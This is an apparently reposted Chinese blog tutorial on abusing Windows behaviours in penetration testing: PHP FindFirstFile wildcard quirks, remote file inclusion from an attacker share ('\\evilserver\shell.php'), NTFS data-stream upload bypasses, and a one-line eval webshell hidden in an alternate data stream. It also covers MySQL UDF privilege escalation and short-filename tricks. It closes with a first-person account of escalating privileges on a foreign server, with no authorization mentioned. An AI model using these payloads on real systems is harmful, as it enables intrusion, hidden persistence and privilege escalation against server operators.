最新消息:

渗透中利用到的一些windows特性

工作 admin 3812浏览 0评论

一、FindFirstFile函数漏洞

1、开场

先看如下代码:

<?php
for ($i=0; $i<255; $i++) {
$url = '1.ph' . chr($i);
$tmp = @file_get_contents($url);
if (!empty($tmp)) echo chr($i) . "\r\n";
}
?>

已知1.php存在,以上脚本访问的结果是:
1.php
1.phP
1.ph<
1.ph>
都能得到返回。

前两种能返回结果是总所周知的(因为windows的文件 系统 支持大小的互转的机制),另外的两种返回引起了我们的注意。 经测试该bug 影响所有的windows+php版本。

2、继续测试

为了继续深入探查关于该bug的信息,我们对demo做了些许修改:

<?php
for ($j=0; $i<256; $j++) {
for ($i=0; $i<256; $i++) {
$url = '1.p' . chr($j) . chr($i);
$tmp = @file_get_contents($url);
if (!empty($tmp)) echo chr($j) . chr($i) . "\r\n";
}
}
?>

结果:

<"
<.
<<
<>
<P
<p
<?
><
>>
>P
>p
H<
H>
HP
Hp
h<
h>
hP
hp

3、bug原因

在调试php解释器的过程中,我们发现此“神奇”的bug是由一个Winapi 函数FindFirstFile()所导致的。当跟踪函数调用栈的过程中我们发现字符”>”被替换成”?”,字符”<”被替换成”*”,而符号”(双引号)被替换成一个”.”字符。

该函数FindFirstFile()在php下的运用远远不至于file_get_contents().关于该bug可以利用的函数我们已经列了如下一表:

zt1

4、利用

(1)当调用FindFirstFile()函数时,”<”被替换成”*”,这意味该规则可以使”<”替换多个任意字符,但是测试中发现并不是所有情况都如我们所愿。所以,为了确保能够使”<”被替换成”*”,应当采用”<<”。

EXAMPLE:include(‘shell<’);  或者include(‘shell<<’);    //当文件夹中超过一个以shell打头的文件时,该执行取按字母表排序后的第一个文件。

(2)当调用FindFirstFile()函数时,”>”被替换成”?”,这意味这”>”可以替换单个任意字符

EXAMPLE:include(‘shell.p>p’);    //当文件中超过一个以shell.p?p 通配时,该执行取按字母表排序后的第一个文件。

(3)当调用FindFirstFile()函数时,”””(双引号)被替换成”.”

EXAMPLE:include(‘shell”php’);    //===>include(‘shell.php’);

(4)如果文件名第一个字符是”.”的话,读取时可以忽略之

EXAMPLE:fopen(‘.htacess’);  //==>fopen(‘htacess’);   //加上第一点中的利用 ==>fopen(‘h<<’);

(5)文件名末尾可以加上一系列的/或者\的合集,你也可以在/或者\中间加上.字符,只要确保最后一位为”.”

EXAMPLE:fopen(“config.ini\\.// \/\/\/.”);==>  fopen(‘config.ini\./.\.’); ==>fopen(‘config.ini/////.’)==>fopen(‘config.ini…..’)

(6)该函数也可以调用以”\\”打头的网络共享文件,当然这会耗费不短的时间。补充一点,如果共享名不存在时,该文件操作将会额外耗费4秒钟的时间,并可能触发时间响应机制以及max_execution_time抛错。所幸的是,该利用可以用来绕过allow_url_fopen=Off 并最终导致一个RFI(远程文件包含)

EXAMPLE:include (‘\\evilserver\shell.php’);

(7)用以下方法还可以切换文件的盘名

include(‘\\.\C:\my\file.php\..\..\..\D:\anotherfile.php’);

(8)选择磁盘命名语法可以用来绕过斜线字符过滤

file_get_contents(‘C:boot.ini’); //==>  file_get_contents (‘C:/boot.ini’);

 

二、NTFS数据流

在测试中我们发现,如果上传的文件名字为:test.php::$DATA,会在服务器上生成一个test.php的文件,其中内容和所上传文件内 容相同,并被解析。假设我们需要上传的文件内容为:<?php phpinfo();?>下面是上传是会出现的现象:

上传的文件名  服务器表面现象    生成的文件内容

Test.php:a.jpg     生成Test.php  空

Test.php::$DATA  生成test.php  <?php phpinfo();?>

Test.php::$INDEX_ALLOCATION  生成test.php文件夹

Test.php::$DATA\0.jpg  生成0.jpg  <?php phpinfo();?>

Test.php::$DATA\aaa.jpg  生成aaa.jpg  <?php phpinfo();?>

PS: 上传test.php:a.jpg的时候其实是在服务器上正常生成了一个数据流文件,可以通过notepad test.php:a.jpg查看内容,而test.php为空也是正常的。根据第二个现象,我们可以bypass一些黑名单验证。

后面我加\0测试的时候是想截断后面的东西,但是发现windows会无视”/””\”这两个符号前面的东西,只识别这俩符号后的字符串。(由于windows把\ /当成了目录,而上传只认识文件名所导致的)

下面讲一下如何利用:

1、bypass 黑名单

2、隐藏webshell

方法:在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这样子搞: echo ^<?php @eval(request[cmd])?^>  > index.php:hidden.jpg

这样子就生成了一个不可见的shell hidden.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个hidden.jpg的。我们可以在另外一个正常文件里 把这个ADS文件include进去,<?php include(‘index.php:hidden.jpg’)?>,这样子就可以正常解析我们的一句话了。

3、UDF提权

Mysql 5.1以上(现在都5.6版本了,估计老版的不常见了。),在加载自定义函数的DLL时,要求目录必须是mysql目录下的lib\plugin\目录。 直接导入C:\windows\system32这种目录是加载不了dll的,也就没办法creat function。但是可悲的是mysql 5.1之后的版本在安装的时候是默认不存在lib\plugin目录的,除非你安装的是完整版(官方的那种200多M的)。

select 'xxx' into outfile 'D:\\mysql\\lib::$INDEX_ALLOCATION’;
会在mysql目录下生成一个lib目录

三、windows短文件名

短文件名的命名规则
1)符合DOS短文件名规则的Windows下的长文件名不变。
2)长文件名中的空格,在短文件名中被删除。
3)删除空格后的长文件名,若长度大于8个字符,则取前6个字符,后两个字符以”~#”代替,其中”#”为数字,数字根据前六个字符相同的文件名的个数顺延。若个数超过10个则取前5个字符,后三个字符以”~##”代替,其中”##”为两位数字,若个数大于100也依此规则替换。
4)对使用多个”.”隔开的长文件名,取最左端一段转换为短文件名,取最右一段前三个字符为扩展名。

20140504102928

ps:根据第3条规则可以看出短文件前面不一定是6个字符(一般w为6个字符)。当一个目录中有多个前6个字符相同的文件时,则短文件以~#的方式区分。 此外,还要注意第4条规则,文件短文件名的扩展名是最后一个.的右边一段的前三个字符。当然,如果目录中也有.则短文件名也有扩展名,如curl- 7.17.1-win32-ssl目录,目录名中出现了.,所以该目录的短文件名的扩展名为最后一个“.“的右边的前三个字符,即1-W。

利用:

1、备份文件在apache环境下任意下载

Windows下采用了短文件名机制,如C:\wooyun12312394944545.txt可采用C:\wooyun~1.txt访问

因此如果生成一个备份文件,文件名是这样的
http://127.0.0.1/admin/databack/sql/metinfo_met_20140202_ixzlfo_1.zip

那么在Windows系统下,可以这样访问来下载备份文件
http://127.0.0.1/admin/databack/sql/metinf~1.zip
201405032000349274

2、在提权时的利用

这个是在提权某国外服务器时候发现的,该服务器的环境是win2k3+iis6.0。烤肉,pr,iis6的漏洞补丁都没有打,但是,可写很少。上传了啊D牛的脚本后找到可写目录了。

可写目录C:\Program Files\Zend\ZendOptimizer-3.3.0\lib 按照惯例上传cmd.txt  pr.exe

然后在菜刀上运行exp,蛋疼的地方来了。执行后直接说找不到文件。后面想到个办法,把exp设置为cmd的路径。然后在执行cmd命令的地方执行我要提权的命令,发现还是不行。

后面在群里讨论了一下,发现是由于路径里面有空格,这样执行exp会在有空格的地方截断。

然后各种百度,最后发现了一种方法。我们可以利用windows路径的短命名

Program Files  等价为 PROGRA~1

然后将pr的路径修改为C:\PROGRA~1\Zend\ZendOptimizer-3.3.0\lib\pr.txt

执行”C:\PROGRA~1\Zend\ZendOptimizer-3.3.0\lib\pr.txt ” “whoami”

成功回显,在此处要注意的是pr的路径也要用双引号括起来。

转载请注明:jinglingshu的博客 » 渗透中利用到的一些windows特性

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址